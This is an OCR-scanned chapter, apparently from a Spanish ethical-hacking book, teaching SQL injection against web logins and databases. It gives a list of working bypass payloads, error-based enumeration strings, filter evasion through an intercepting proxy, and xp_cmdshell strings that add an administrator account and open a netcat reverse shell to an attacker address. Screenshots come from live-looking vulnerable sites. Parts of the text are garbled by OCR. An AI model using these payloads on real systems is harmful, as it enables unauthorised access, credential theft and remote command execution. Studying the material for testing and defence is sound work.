Es importante recordar las variantes de sintaxis (en inyeccion) segun el gestor de databases (MS-SQL,
Mysql, Oracle, PostgreSQL). Para encontrar informacién, podemos visitar http://security-papers.glo-
bint.com.ar/oracle_security/sql_injection_in_oracle.php, www.securityfocus.com/infocus/1644,
www.tizag.com/mysglTutorial/mysql-php-sql-injection.php y www.postgresql.org/docs/techdocs.50.
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word y cuenta sean los correctos para dejar acceder al visitante en caso de que ten-
ga e introduzca estos datos correctamente. En el codigo, se vera la sintaxis tran-
saccional SQL (a la database) mas o menos asi:

SELECT id

FROM login

WHERE usuario = ‘Susuario’
AND clave = ‘S$clave’

AND cuenta = ‘Scuenta’

@@ - |g http:  fuanane, .comj

Archivo  Edicion  VWer Fawvoritos  Herramientas  Ayuda

W [@ wieb Site ]_|

HOME LA EMPRESA

AC'C-ESO a 1 Rrecios disponibles 5.5/ BBca 3/ Neco.$
Clientes

Ros. Mar. u$s / May uss

Password:

_ : = - -

Cuenta

-

28 Digiembre Declaraciones juradas: el Congreso aprobd

2 Diciembre . La soja no tiene freno: g

AFERC/ pY )
NH&%D(” Bl | 26 Diciembre | Dicen gue no crecera cosecha de soja 07/08
MAT Buenos Aires
Rofex 21 Diciembre |, S0JA @

Chicagoe CBOT

Login. Acceso a clientes de un sitio web elegido
al azar de los tantos que hay vulnerables en Internet.

Ahora bien, scémo el intruso inyectara una sentencia SQL en lugar de colocar usua-
rio, password y cuenta? Es muy simple. Si los campos de datos, la aplicacion y el
gestor de datos no estan sanitizados (no escapa a los caracteres especiales) y asegura-
dos, se podra incluir una comilla simple ‘y seguido a ella, el resto de lo que sera in-
terpretado por el gestor de base de datos como codigo SQL.
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SELECT id

FROM login

WHERE usuario = ‘admin’
AND clave = Y'OR 1=1 -
AND cuenta = 0303456

Un parametro no esperado, como esta comilla, cambia el comportamiento de la
aplicacion. De este modo, si el usuatio es el admin y tiene un password/condi-
cioén, si 1 es igual a 1 (que por supuesto lo es), éste sera validado y tendra acceso
a la intranet.

- Windows Internet Explorer

y v ‘g http: | v, index.asp?menu=2 V‘ 3| X lm & Search

Archivo  Edicidn  Ver Favoritos  Herramientas  Ayuda

Wt é {7‘ = ﬁ - B L@V' |:F Pégin

Mercado de Futuros Mercaderia Facturacién Cuenta Corriente Cambio de Clave y Cuenta

[Posicién Cereal]| [Informe de cupes]| [ Descargas]| [Consults Genersl]|

Posicién Cereal
Informe de cupos
Descargas

Consulta General

MERCADOS

MAT Buenos Aires Hasta:02/01/2008

Rofex Carta de porte:

Adentro. Aqui esta el acceso al panel del usuario admin luego
de inyectarle un pequefio cddigo SQL ‘OR 1=1 — dentro del campo de clave.

¢Qué incidencia tiene esta vulnerabilidad en nuestro sistema? Mucha. Un intruso
que pueda burlar mecanismos endebles de seguridad en un sitio con interaccion a
databases y posteriormente logre inyectar codigo SQL, podra llevar a cabo accio-
nes intrusivas en el servidor (y la red interna si ésta se encuentra detras), compro-
meter informacion, destruir, copiar o bien, modificar. En seguridad informatica,
esta técnica es conocida como SQL Injection. ;:Coémo saber que un determinado
campo de datos o URL es vulnerable a la inyeccion de cédigo SQL? Simplemente
intentando escribir y enviar una comilla simple para obtener determinado error de
sistema. Por supuesto, hay otros métodos, pero ése es el mas rapido y usual. El
error originado por la base de datos se ve mas o menos de esta manera:
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| 1 https f fsy. lappjsignupfPassword.asp | vl }]

Usuarios

Error. Error 80040e14: Unclosed quotation mark before
the character string es, quizas, el anuncio seguro de que la aplicacion
es potencialmente explotable en cuanto a inyectar cédigo SQL.

En la siguiente imagen, podemos ver como generar ese error a modo de compro-
bar la existencia de la vulnerabilidad o descuido:

@ |E| hktp: e, ‘fapplsignup/password. asp |vl b]

Usuarios Recordar Contrasefia

Pregunta | &Cual es el nombre de tu mascota? @

D Olvide la pregunta
Respuesta | |

Intento. Colocamos una comilla simple ‘ en el campo
Login de acceso y, acto seguido, hacemos clic en Aceptar.

Buscar en Google
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Ahora veamos cémo hacer un bypass (saltear) de la pregunta secreta:

m |E1 htkpeff lapp/signupjpassword.asp |V| ?] |'|chjgle

Usuarios 8 Recordar Contragefia

Contrasena

Para que te podamos enviar tu contrasefia, dehemos verificar que tu eres el propietario de la cuenta. En
la parte 2 debes cortestar EXACTAMENTE |a pregunts gue escribistes en tu perfil.

Login de acceso Luebmaster

]

2. Recordatorio de tu contrasefia:

Pregunta | 4Cual es el nombre de tu mascota™ v

D Dlvide la pregunta

| |

Respuesta |'OR =1 -

Salto. En el campo Login de acceso, colocamos el nombre
del usuario del que deseamos saber la clave y, en el campo Respuesta
(de la pregunta secreta), escribimos ‘OR 1=1 —.
El resultado es el retrieve (el haber obtenido) de la clave del usuario.

ﬁ |E1 htkp:ff lapp/signup/Password. asp

Google

[-[»] [G-

Usuarios ¥ Retorno Contrasefia

Contrasena

Hola wehmaster

Tu contrasefia es: [

Anotala en un lugar seguro.
Gracias por ser\clients de [, & internet de

Informacidn. El salto de la pregunta secreta fue
posible mediante la inyeccién de un minimo c6digo SQL.

Ejemplo sobre la modificacién de un URL.
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archivo  Editar Ver Historial Marcadores Herramientas  Ayuda

< - - @‘—] /‘J} (:l Etp:,l’,l’ ,l’producto.qép?id=25' \
\ /

+8! ) el sector de la emergencia y de las prim|
cuya red comercial s de las diferentes comunidades autdnoma

Botiquines | &
—— W5 Microspft OLE DB Provider for ODBEC Drivers error 5004014
Botiquines Empresa

= [Microsoft][ODBC Microsoft Access Driver] Syntax error in string in query expression 'p_id=25"
Inmovilizacion “ /produtto.asp, line 16

Camillas a

Portacamillas '%a

Error. Aqui se puede ver como, alterando el URL
con una comilla simple, también se logra reproducir el error.

HISTORIA DE SQL INJECTION

SQL Injection se utiliza hace mas de 10 afios. Incontables bases de datos se han borra-
do, alterado o robado mediante esta técnica. Muchos accesos y comprobaciones han si-
do burlados, como también se han obtenido remotamente cuentas de maximo privile-
gio dentro de los servidores.

Todo esto a través del servidor web (puerto 80 o servicio http) de un sitio.

El primer texto publicado acerca de como hacetlo data de diciembre de 1998 (www.ph-
rack.org/archives/54/P54-08), lo redacté rain.forest.puppy y estaba dentro de un texto
dedicado a vulnerabilidades basadas en tecnologfas NT. De este documento, conviene
prestar especial atencion a la seccion ODBC and MS SQL server 6.5.

Unos afios después, luego de que este tipo de explotacion se discutié en algunos foros
y congresos, saldrian a la luz tres documentos (que es recomendable estudiar y practicar)
en los que se basaron casi la totalidad de los textos que posteriormente se publicaron
acerca del tema:

¢ Advanced SQL Injection In SQL Server Applications, de Chris Anley (www-
nextgenss.com/ papers/advanced_sql_injection.pdf).

* (motre) Advanced SQL Injection, del mismo autor (www.nextgenss.com/papers/
more_advanced_sql_injection.pdf).

¢ Manipulating Microsoft SQL Server Using SQL Injection, de Cesar Cerrudo
(www.appsecinc.com/presentations/Manipulating SQL,_Server_Using SQ
L_Injection.pdf).
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Metodologia

Basicamente, luego del caracter no filtrado (“ o ;, paréntesis en algunos casos —sin
contar las técnicas de evasion-), es algo mas que escribir puro cédigo SQL.

En principio, hay que encontrar un campo o punto vulnerable a la inyeccion. Ya
sea un formulario de acceso uset/pass, uno de busqueda, de recuperacion de pass-
word, de comprobacién de cualquier dato, de contacto, link con variables, links
ocultos al publico ligados a la DB, scripts y archivos de testeo, CGIs por defecto,

aplicaciones del tipo foro y otras de terceros publicas y licenciadas, ya sea via mé-
todo GET o POST.

i - - |,{h"—.i ﬁ !Ll bkt ffvwnar, o5 kot fif~jkorpelafformsmethods. Rl

Methods ceT and posT in HTML forms - what's
the difference?

In HTML, one can specify two different submission methods for a form. The method is
specified inside a Form elernent, using the MeTHOD attribute, The difference between
METHOD="GET" (the default) and METHOD="POZT " 15 primarily defined in terms of
form data encoding. The official recommendations say that "eeT” should be used if
and only 1f the form processing is idempotent, which typically means a pure query
torm. Generally it 15 advisable to do so. There are, however, problems related to long
TELs and non-ASCT character repertoires which can maks it necessary to use "pogr”
even for idempotent processing.

Content:

¢ The findamental differences between "¢ET" and "FosT"
* "Why the distinction matters

e Differences in form submission

* Differences in server-side processing

¢ Possible reasons to use "posT" for idempotent queries

The fundamental differences between "ceT" and
HPOST m

Querys. En este sitio, se explican en detalle
las diferencias entre los métodos GET y POST en cuanto
a envio de la informacion (www.cs.tut.fi/~jkorpela/forms/methods.html).

Después, haciendo una previa de database gathering o tratando de mapear cuales
son las databases del servidor, los nombres, sus tablas, sus registros, sus usuarios
y sus privilegios. Generalmente, se utiliza HAVING y GROUP BY para las pri-
meras. Sobre 1a base de esos datos, se trata de ir armando nuestras consultas in-
yectadas, puliéndolas, viendo qué sentencias se pueden utilizar, si hay espacios de
mas, como interactuarlas.
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Libro. Para aprender muy bien el concepto de
SQL y el comportamiento de la base de datos, es muy
recomendable repasar el libro Aprendiendo Microsoft M|[}|'[]S[]f[@

SQL Server 2000 en 21 Dias, del autor Richard Waymire sul s 2““
(Prentice Hall, ISBN: 970260124X) BWEr I]

en las que el programador haya tomado algunos recaudos o los niveles de privile-
glos que no nos permitan ejecutar algo. Pero si todo esta por defecto y no hay re-
glas de filtrado, las posibilidades son innumerables.

Hay que tener un poco de perseverancia (si generamos el error, probar de todo)
y agudeza. En cuanto a lo escrito en documentos encontrados en Google acerca
de esta técnica, no es aplicable en la mitad de los casos. No hay que llevar a ca-
bo un chequeo de seguridad en SQL Injection basado pura y exclusivamente en

Aprendiendo’

¢Qué se puede hacer con SQL Injection?
El impacto es en el ambito de la informaciéon
y del sistema operativo, salvo en las ocasiones

textos de Internet.

Si bien es facil aplicarlo desde un advisory de Bugtraq (cuando publican una inyec-

ci6n determinada sobre tal version de una aplicacion), no es lo mismo que cuando

nos encontramos frente a una pagina programada en php/asp+database, de autor

y unica. También podemos leer estos textos basicos:

* Guia de pruebas OWASP v2.0 (www.owasp.org/images/2/2d/OWASP_Tes-
ting Guide_v2_spanish_doc.zip).

¢ CEH v5 Module 14 SQL Injection (médulo educativo).

¢ El whitepaper sobre SQL Injection (SQL Injection Walkthrough) de SecuriTeam
(www.securiteam.com/securityreviews/5DPON1P76E.html).

* El texto de Stuart McDonald en (www.governmentsecurity.org/articles/SQLIn-
jectionModesofAttackDefenceandWhyltMatters.php).

Vale tener en cuenta que, en ninguno de ellos, encontraremos, por ejemplo que, pa-

ra sacar el primer valor de una tabla de passwords en texto plano (generalmente es

la de una cuenta de administrador), basta con sélo poner * OR nombretabla=1 -- a

modo de atajo, sin tener que andar probando largos UNION/SELECT especiales.

El error que veremos sera:

Microsoft OLE DB Provider for ODBC Drivers error ‘800a0e07

[Microsoft][0DBC SQL Server Driver][SQL Server]Syntax error converting the
varchar value ‘passdeladmin’ to a column of data type int.
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¢Muy simple no? Conviene intentarlo con otros nombres de tablas ya que, si
practicamos lo suficiente y en muchos contextos, encontraremos atajos muy utiles,
formas de resolucion y evasion.

Veamos otros errores al inyectar codigo SQL en campos de datos:

* Inyectado: ¢ and 1=convert(int,@@vetsion)--

Error: Microsoft OLE DB Provider for ODBC Drivers error '800a0e07'
[Microsoft][ODBC SQL Server Driver]|[SQL Server|Syntax error converting the
nvarchar value 'Microsoft SQL Server 2000 - 8.00.2187 (Intel X86) Mar 7 2006
11:36:51 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on
Windows NT 5.2 (Build 3790: Service Pack 1) ' to a column of data type int.
Resultado: obtenemos la version del servidor.

* Inyectado: ' and 1=convert(int,@@servername)--

Error: Microsoft OLE DB Provider for ODBC Drivers error '800a0e07'
[Microsoft][ODBC SQL Server Driver][SQL Server|Syntax error converting the
nvarchar value 'GCIASISTEMAS' to a column of data type int.

Resultado: Obtenemos el nombre del servidor.

* Inyectado: ' and 1=convert(int,db_name(1))--

Error: Microsoft OLE DB Provider for ODBC Drivers error '800a0e07'
[Microsoft][ODBC SQL Server Driver][SQL Server|Syntax error converting the
nvarchar value 'master' to a column of data type int.

Resultado: Nombre de la primera database.

* Inyectado: ' and 1=convert(int,user_name(3))--

Error: Microsoft OLE DB Provider for ODBC Drivers etror '800a0e07'
[Microsoft][ODBC SQL Server Driver][SQL Server|Syntax error converting the
nvarchar value 'webmaster' to a column of data type int.

Resultado: Nombre del tercer usuario (podemos variar el numero para
confeccionar una lista de todos).

* Inyectado: ' and 1=convert(int,system_user)--

Error: Microsoft OLE DB Provider for ODBC Drivers error '800a0e07'
[Microsoft][ODBC SQL Server Driver|[SQL Server|Syntax error converting the
nvarchar value 'sa' to a column of data type int.

Resultado: Nombre del usuario bajo el cual se ejecuta la aplicacion de Database.

Algunos ejemplos de inyeccion para bypass de accesos que podemos probar agre-
gando espacios, paréntesis o comillas simples son:
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3 . <, 3
; —_—

‘orl=1-- ‘or 1=1 -- ‘or 1=1 - ‘forl=1--

‘or 1=1 -- or 1=1 -- or 1=1 -- or1:1-—
or 1=1 -- “or1=1 -- ‘ora=a -- ‘or “a’="a
) Or (C ,_’ C() or (CC ,7_77 a Or 66237_77 a Or l:1 __
a2 or 1=1 -- a or ‘A= a’) or (a’=’a a”) or (“a”="a
admin’-- ‘or 0=0 -- “or 0=0 -- or 0=0 --
‘or 0=0# “or 0=0# or 0=0 # Yor 1=1;

Evasion de reglas a nivel campo de datos

Imaginemos que estamos frente a un login de dos campos tipicos: usuario y
password. Fstos tienen una caracteristica especial a modo de seguridad por parte
del programador: en estos campos no pueden colocarse mas que 6 caracteres
alfanuméricos en cada uno. En este caso, la informacion seguirfa este recorrido:
usuario > pagina > database. Claramente, estan filtrados desde el mismo cédigo de
la pagina, en donde veremos algo como maxLength="6".

¢Coémo saltamos esa comprobacion?

Modificando la informacién con la ayuda de un proxy y codificandola (no
confundir codificar con cifrar), tal como lo requiere el submit, para luego enviarla
a la database: usuario > pagina > proxy (donde la modificaremos en transito u on-
the-fly) > database.

Para ello, necesitamos un grupo de herramientas de seguridad open source entre
las que, actualmente, es muy recomendable la que podemos descargar de
www.ioactive.com/tools/IOATools-021805.exe. Ademas, nos hara falta un buen
browser, como Firefox.

IOAcive Tools es un excelente kit de herramientas para chequeos de seguridad en
aplicaciones web, compuesto por:

* Snark: un proxy attack, en donde modificaremos la informacion en transito antes de
que llegue al servidor. Nos permitira modificar y grabar los request (peticiones http).
* Morf: es un encodeador que codifica URL, Base64, html, viewstate, HEX (Petl y C

Escenarios

La sintaxis por inyectary el error que muestre el server estaran siempre ligados a variables tales como el
programador que escribié el cddigo fuente de la pagina o aplicacion, como éste ha declarado sus variables y
disenado la database. La manera en que se administrd el gestor de base de datos, y los usuarios ligados a
ello también cuentan. Son muchos los escenarios, todos sobre contextos técnicos y de seguridad variados.
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array, md5, shal, sql string, utf-7 y pem), aunque en este caso solo utilizaremos el URL.
e Sashimi: se utiliza para enviar requests HT'TP (es mas comodo que netcat).

© |0Active Tools - 02/18/05 Setup

Choose Components
! Choose which Features of I0Active Tools - 02/18/05 vou want to
- install,
Check the components vou want ko install and uncheck the components wou don't want to
install. Click Mext to continue.
Select components to install: N -
551 Certificate ‘ i
Snark.
Marf
Sashimi
IEProxyChange
Space required: 12, 1MB
Mullsaft Install Systern vz, 04
[ < Back ” Mext = ] [ Cancel ]

IOActive. Seleccion de componentes durante la instalacion de IOActive Tools.

* IEproxychange: util para setear el puerto del proxy al que estara conectado el
browser nativo de Windows, el cual no usaremos.

En este ejemplo, solo utilizaremos Snark para modificar la informacién que va del

proxy al servidor, Morf para codificar los datos y Firefox (www.mozilla-europe.or-

g/es/products/firefox/).
Procedimiento

Una vez que tenemos las herramientas adecuadas e instaladas, procedemos con la
ejecucion de Snark. En la siguiente figura, podemos ver los tres primeros iconos
pulsados. El primero significa que el proxy esta conectado al puerto declarado en
Local Port (5858). El segundo, que se esta grabando la sesién y el tercero, que po-
dremos editar todo lo que sube al server o database, en tiempo real. Luego ejecu-
tamos Firefox, vamos hasta el link del formulario y lo configuramos para que se co-
necte al proxy local (que monta Snark) y puerto declarado en éste. Para eso, vamos
a Herramientas/Opciones/Red/Configuracion/Configuraciéon Manual del Proxy.
En los valores Proxy http, ponemos localhost y, en Puerto: 5858.
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[<Te [a 21018] 5] RIS o elolies] x|
1Start15top Proxy [CTRL-ENTER]

Local Port: | ! RegEx: |

Snark v0.16 released on 02/18/2005

Symtax:

snark [-start [-record] [-clear]] [-lport 9000] [-rhost foo.com] [-rport 80] [-nosave]

-start Start proxy
-record Start recording traffic

-clear Clear output window

-proxy Act like proxy

-lport  Local port

-rhost  Remote hostname

-rport DRemote port

-nosave Configuration willnot be saved on exit

General Usage:

Snark is a tool to assist in web application assessments. Snark allows
for the monitoring of HTTP messages, modification of requests or responses,

Snark. Interfaz gréafica de Snark. En la parte superior
izquierda del programa, vemos los tres primeros iconos pulsados.

Colocamos en el campo un dato (x) a modo de referencia visual y lo enviamos dan-
do clic o con Enter. Snark aparecera como en la figura que vemos a continuacion:

Contrasefia H

*k%k

¥ Snark - Edit Regquest

V%] Gl A

Update Content-Length |

POST / fcontrollasp HTTP/1l.1
Wia: 1.1 Snark

.con
gent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.11) Ge
Content-Type: application/x-www-form-urlencoded

Content-Length: 18

Accept: text/xml,application/xnl,application/xhtml+xnl,text/htnl;q=0.9,text,
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip,deflate

Accept-Charset: IS0-8859-1,utf-8;q=0.7,%;q=0.7

Keep-Alive: 300
Referer: http://uwww.
Cockie: ASPSESSIONIDQ
Connection: keep-aliv

contrasena.asp
CCE85=CKOFOHIBCANIFCGFPNIBPHPL

Usuario=adminsPassworld=%270R+1%3D1+%2D%2D

Peticion. Al apretar el boton Enter para enviar los datos, Snark abre
una pantalla para editar el request. Alli reemplazamos el valor que enviamos
mediante el formulario (x), colocando el string codificado como muestra la figura.

Encodeado, codificacién URL, Urlencoded

Los formularios de datos enviados con el tipo de contenido application/x-www-form-urlencoded deben ser codificados
de la siguiente manera: los nombres de control y los valores seran escapados, los espacios seran reemplazados por
simbolos +y los caracteres reservados seran escapados como esta descrito en el RFC1738 (www.rfc-es.org/rfc/rfc1738-
estxt), en la seccion 2.2. Mas informacion sobre formularios en wwww3.org/TR/html4/interact/forms.html.
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Por ejemplo, ‘OR 1=1 — quedaria de esta manera: ‘OR+1%3D1+—. Esa conver-
sion se logra con la aplicacion Morf (Plain to URL). Por dltimo, presionamos Up-
date Content-Length para actualizar la cantidad de datos por enviar y listo.

De ese modo, habremos saltado la seguridad del campo de dato inyectando el do-
ble de los caracteres permitidos —mas alld de alfanuméricos- y, por otro lado, logra-
mos obtener alguna informacion importante extraida basados en cédigo SQL inyec-
tado.

Ejemplos en el sistema operativo

Estos son strings para lograr la ejecucion, a través de xp_cmdshell (Extended Stored
Procedure), de comandos de sistema:

* ¢ exec master..xp_cmdshell ‘net user etico etico /add’;-- : Inserta un usuatio de
sistema.

* ¢ exec master..xp_cmdshell ‘net localgroup administrators etico /add’;-- :
Al usuario de sistema lo integra en el grupo de administradores.

* ¢ exec master..xp_cmdshell ‘nc direccionip puerto -t -e cmd.exe’;-- : Expor-
ta un prompt ms-dos via netcat a determinado puerto y direccion IP de otra shell.

* );create table systables(a int identity,b varchar(1000)) insert into systables
exec master..xp_cmdshell ‘ipconfig’-- : Crea una tabla en la que luego guarda
el resultado del comando ipconfig.

Soélo usuarios del tipo sysadmin (asignado a la aplicacion que estan inyectando)
pueden ejecutar xp_cmdshell y éste, en caso de ser ejecutado, lo hara en el contex-
to de seguridad en el que esté corriendo el servicio SQL. Como vemos, la cuestion
de privilegios en servicios y usuarios es delicada.

Extended Stored Procedure

Para encontrar una explicacion de Microsoft sobre Extended Stored Procedure o Pro-
cedimiento Extendido Almacenado xp_cmdshell, podemos visitar la direccion
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/tsqlref/ts_xp_aa-
Sz_4jx0.asp.
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G‘J ‘\_I http:f wwe, string-functions, com/

www.string-functions.com

ONLINE STRING MANIPULATION TOOLS

On this site, you will find online tools to perform common string manipulations
such as reversing a string, calculating a string's length or encoding a string.

Read more about string functions in Wikipedia

Reverse A String

Calculate String Length

Count The Occurrences Of & Substring Within & String
Convert & String To Uppercase Or Lowercase

¢ o 00

HTML-Encode & String
HTML-Decode & String

.

Convert & String To Hex
Convert Hex To String

.

URL-Encode & String
URL-Decode 4 String

Convert Hex Values To RGB
Convert RGB Values To Hex

.

String functions are useful for web developers and other programmers.

This site is maintained by Marianne Wartoft,

Strings. www.string-functions.com es un sitio en donde
se puede codificar un string SQL, entre otros tipos de tareas online.

Herramientas automatizadas

Existen decenas de herramientas que son capaces de trabajar de modo automatiza-
do en algunos aspectos de la inyeccién de codigo SQL.

Estas herramientas no son magicas, ya que por si solas no pueden hacer mucho sin
la l6gica que le apliquemos nosotros y el seteo necesario para que nos brinden al-
gun tipo de ventaja en tiempo o resultado. Es conveniente tomarse el tiempo que
sea necesario y hacer el chequeo de la aplicaciéon a mano. Cuando necesitamos au-
tomatizar algo (sabiendo que podemos sacar provecho de ello), podemos usar las
herramientas que aparecen a continuacion.

Sqglninja

Su sitio oficial es: http://sqlninja.soutceforge.net, y sus caractetisticas destacadas
(traducidas y testeadas) son:

* Deteccion via fingerprint del servidor SQL remoto: version, usuario que ejecuta
la aplicacion, privilegios de éste, verifica disponibilidad de xp_cmdshell y modo de
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autentificacion DB.

* Brute force del usuario sa via diccionario e incremental.

* Creacién de un xp_cmdshell si el original fue removido.

¢ Upload de archivos, netcat o cualquier ejecutable utilizando http requests solamente.

* Escaneo TCP/UDP hacia el atacante para encontrar un puerto y asi pasar a tra-
vés del firewall desde la red atacada, para luego emplear por alli una shell inver-
sa.

* Directa e inversa bindshell, TCP/UDP.

* Pseudo dns shell tuneleada (dns-tunneled), cuando TCP/UDP no estan disponi-
bles para una shell directa o reversa, pero la DB puede resolver nombres exter-
nos.

= Terminal BE=

File Edit View Terminal Tabs Help

D

localhost# ./sqlninja
sglninja rel. 0.2.1-r1
Copyright (C) 2006-2007 icesurfer <roOt@northernfortress.net>
Usage: ./sglninja
-m <mode> : Required. Available modes are:

t/test - test whether the injection is working
f/fingerprint - fingerprint user, xp_cmdshell and more
b/bruteforce - bruteforce sa account

e/escalation - add user to sysadmin server role
x/resurrectxp - try to recreate xp_cmdshell
u/upload - upload a .scr file

s/dirshell - starts a direct shell

k/backscan - look for an open outbound port
r/revshell - starts a reverse shell

d/dnstunnel - attempt a dns tunneled shell
<file> : configuration file (default: sqlninja.conf)
<password> : sa password
<wordlist> : wordlist to use in bruteforce mode (dictionary method

only)

: verbose output
<mode> : activate debug

1 - print each injected command

2 - print each raw HTTP request

3 - print each raw HTTP response

all - all of the above
...see sqlninja-howto.html for details

£o

a <

localhost# uname -a

FreeBSD localhost 5.5-RELEASE FreeBSD 5.5-RELEASE #0: Tue May 23 14:58:27 UTC 2006 ro
ot@perseus.cse.buffalo.edu: /usr/obj/usr/src/sys/GENERIC 1386

localhost# ] -

SQLninja. Aqui vemos la herramienta sqlninja ejecutada sobre una shell de
FreeBSD 5.5 (servidor de testeo), enteramente programada en Perl por su autor icesurfer.

Herramientas de SQL Injection

En www.security-hacks.com/2007/05/18/top-15-free-sql-injection-scanners, podemos
encontrar un listado con el top 15 de las herramientas de SQL injection, con algunos
detalles sobre cada una de ella y el enlace al sitio del que podremos descargarla.
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No es una herramienta que se utiliza sélo con ejecutarla. Hay que configurar un archi-
vo llamado ninja.conf antes de lanzatla a trabajar, y éste lleva determinados parame-
tros del objetivo. Conviene leer muy bien su how-to y se puede ejecutar bajo Linux.

Sqglmap

Esta herramienta fue desarrollada en Python inicialmente por Daniele Bellucci, y
mantenida por Bernardo Damele. Su sitio oficial es http://sqlmap.sourceforge.net,
y sus caracteristicas destacadas (testeadas) son:

* Muestra versiones de los objetivos y tecnologia.

* Muestra contenidos de archivos en caso de MySQL.

e Mapea en texto plano contenido de los registros.

* Muestra nombres de tablas, databases y su alineamiento.

e Usuarios y privilegios involucrados.

* Procesa expresiones SQL artesanales (nuestras propias Querys).
Se puede utilizar info desde y hacia archivos en texto plano.

= Terminal =)
File Edit View Terminal Tabs Help

localhost# python sqlmap.py -u "www. .asp?" --method "[~]
POST" --data "search_fields=hola'" -v 1 -o sqlmaptest.txt

sqlmap/0.5 coded by inquis <bernardo.damele@gmail.com=
and belch <daniele.bellucci@gmail.com=

[*] starting at: 05:47:48
[05:47:49] [INFO] testing if the url is stable, wait a few seconds

[05:47:50] [INFO] url is stable
[05:47:50] [INFO] testing if POST parameter 'search_fields' is dynamic

SQLmap. En este grafico, vemos sqlmap ejecutado
en una Shell, testeando parametros de un objetivo.

Incidente

Un robot que hace ataques masivos automatizados (mass attack] utilizando SQL Injec-
tion infectd el archivo index de mas de 100.000 sitios para infectar a sus visitantes. Po-
demos encontrar informacion adicional sobre este caso en www.webappsec.org/pro-
jects/whid/byid_id_2007-82.shtml.
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Herramienta pura y exclusivamente del tipo shell/prompt. La ejecucion se hace a
través de una sola linea de comandos con cada parametro definido, y no posee me-
nu de acciones. También se puede ejecutar en Linux.

Vale ver las opciones y practicar bien, ya que, si no tenemos expetriencia, no resul-
ta muy amigable al principio. Es recomendable leer el README vy bajar los whi-
tepapers que alli estan listados.

SQL Injection Pentesting Tool

S SQL Injection Pentesting Tool 3 PreRelease

History Double Tools Default settings Help STOP

= SOLInjections URL: [Pt Pat [80
= |dentifying DB
MySOL/MSSAL Stiing | | Found _j Auto Determine
DUMPINFSCH  \othod  [GET +| I Use basic authorization  User | Password |
OneChar Brutforce
Data BruteForce | | Vulnerable parameter [ Vale |
Back Connect From MSSOL . e
= File Works Infarmation abobt DB and about Injection
MySaL Type DB: | Determine | Take All Stiing USE:
MSSAL
Temina User(): | Take one symbol | Brute I UNION |
Histooy Dalabase[].l Take one symbol | Brute l UNION |
= Tools
Encode String Version(): | Take one symbol | Brute I UNION |
Decode Sting o - —— 3 =
£ Seltings |Fu| take all string by using UNION, you need minimum one field supports printing | Convert |n0 LI
tain . . S
Dictionary Determine quantity of fields in SELECT query
About Wark URL: [
Fields supports printing: | Quantity
Find fields From 1 to |15 Determine suppots printing fields using LIMIT [LIMIT 1,1) ¥
Use method ORDER BY - Let know quantity { o i

Show in browser

#- SOL Injections
Terminal
History

# - Tools

+- Seltings
About

IPT. Interfaz grafica de SQL Injection Pentesting Tool,
escrita en VB6 y puesta a disponibilidad por los rusos de ITDefence.

Herramienta para Windows, amigable y util, con su sitio oficial en http://sqltool.itde-

Bases de datos basicas

Si queremos aumentar nuestros conocimientos sobre los conceptos basicos y genera-
les de base de datos y asi refrescar nuestra memoria o aprender mas, podemos visi-
tar el trabajo publicado en www.monografias.com/trabajosi11/basda/basda.shtml.
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fence.ru/indexeng.html. Sus caracteristicas destacadas (traducidas y testeadas) son:

e Inyecta a través de POST, GET y GET-POST con cookies.

¢ Terminal Http Raw.

* Sube archivos al servidort.

* Lee archivos del servidor.

* Hace dumpeos de databases.

* Ejecuta shell inversas desde la database.

* Autodeteccion y brute force muy interesantes gracias a sus diccionarios de pala-
bras customizables.

Es recomendable alinear sus diccionarios (alojados en la carpeta C:\Archivos de
programa\SQLToolL) a los objetivos espafioles.

Caso real de ethical hacking con SQL Injection

Les contaré como, hace poco tiempo, pude lograr el acceso a través de esta técni-
ca a los datos de la database y al panel de administraciéon de una aplicacion web pri-
vada. Fista maneja datos sensibles de organizaciones formales, todo aquello relacio-
nado a planeamiento estratégico, gestion de la informacion institucional y usuarios
involucrados. Es una solucién para corporaciones recomendada por IBM, y su li-
cencia cuesta mucho dinero. Antes de explicarles muy brevemente como fue el
procedimiento, les comento que las vulnerabilidades encontradas ya fueron report-
tadas a las partes correspondientes.

Cuando recibi los datos del host, entré en la pagina y, en principio, todo era de lo
mas normal: un acceso de user/pass, un link para recuperar la clave, logos y correo
de contacto.

Para comenzar, probé introduciendo algunas comillas y caracteres en los campos
de user y pass, y obtuve un error raro: esta aplicacion no dejaba ver los errores de
SQL, s6lo mostraba un cartel (no el tipico de SQL Server) y un logo rojo. Intenté
hacer un bypass normal de muchas formas, sin resultados. Intenté sacar informa-
cioén, y no mostraba nada o hacfa un simple refresh. Seguramente, algunas medidas
de precaucién tenfa, ya que los errores estaban depurados, y el bypass directo no
funcionaba. Las horas volaban.

Presté atencion al link de reasignacion de clave y entré. Al hacerlo, me encontré con
una pantalla que contenia cuatro campos de datos.

Esto se tornaba interesante.

Primer campo: nombre.

Segundo campo: clave actual.
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Tercer campo: clave nueva.

Cuarto campo: reiteracion de clave nueva.

Meti una comilla simple en todos ellos y apreté Enter. Tamafa sorpresa cuando vi
el tipico error de database en texto plano en mi pantalla.

Me puse con el proxy (Snark) a verificar los campos, y el vulnerable era el del nom-
bre de usuario. Comencé con algo de database gathering o mapeo de datos. Lo ra-
ro era que solo se podian inyectar determinados parametros, y no cualquier string
en SQL era interpretado tal cual iba inyectado. La mayoria de las veces, sélo mos-
traba un cartel de error propio de la aplicacion y luego hacia un refresh.

¢ having 1=1 -- me dio el dato APP_USUARIO.USUARIO_ID, con un espacio
entre la comilla simple y having, si no, no funcionaba. Luego, con GROUP BY,
acumulando datos en el string.

' group by APP USUARIO.USUARIO ID --
\ group by APP_USUARIO.USUARIO ID,APP USUARIO.PWD having 1=1 --

' group by APP USUARIO.USUARIO ID,APP USUARIO.PWD,APP USUARIO.IS ADMIN
having 1=1 --

' group by APP USUARIO.USUARIO ID,APP USUARIO.PWD,APP USUARIO.IS ADMIN,
APP USUARIO.FULL NAME having 1=1 --

Mediante atajos y descartando cien cosas que intenté (se fueron las estrellas, y
los pajaros ya comenzaban a cantar fuera de mi ventana), ya tenfa en mi poder
algunos usuarios, nombres completos y passwords hasheados. Pero me encon-
tré con una traba. El password estaba guardado en un campo String (texto) has-
heado de una manera en la que no lo iba a descifrar tan facilmente. Se vefa asi:

Herramienta comercial

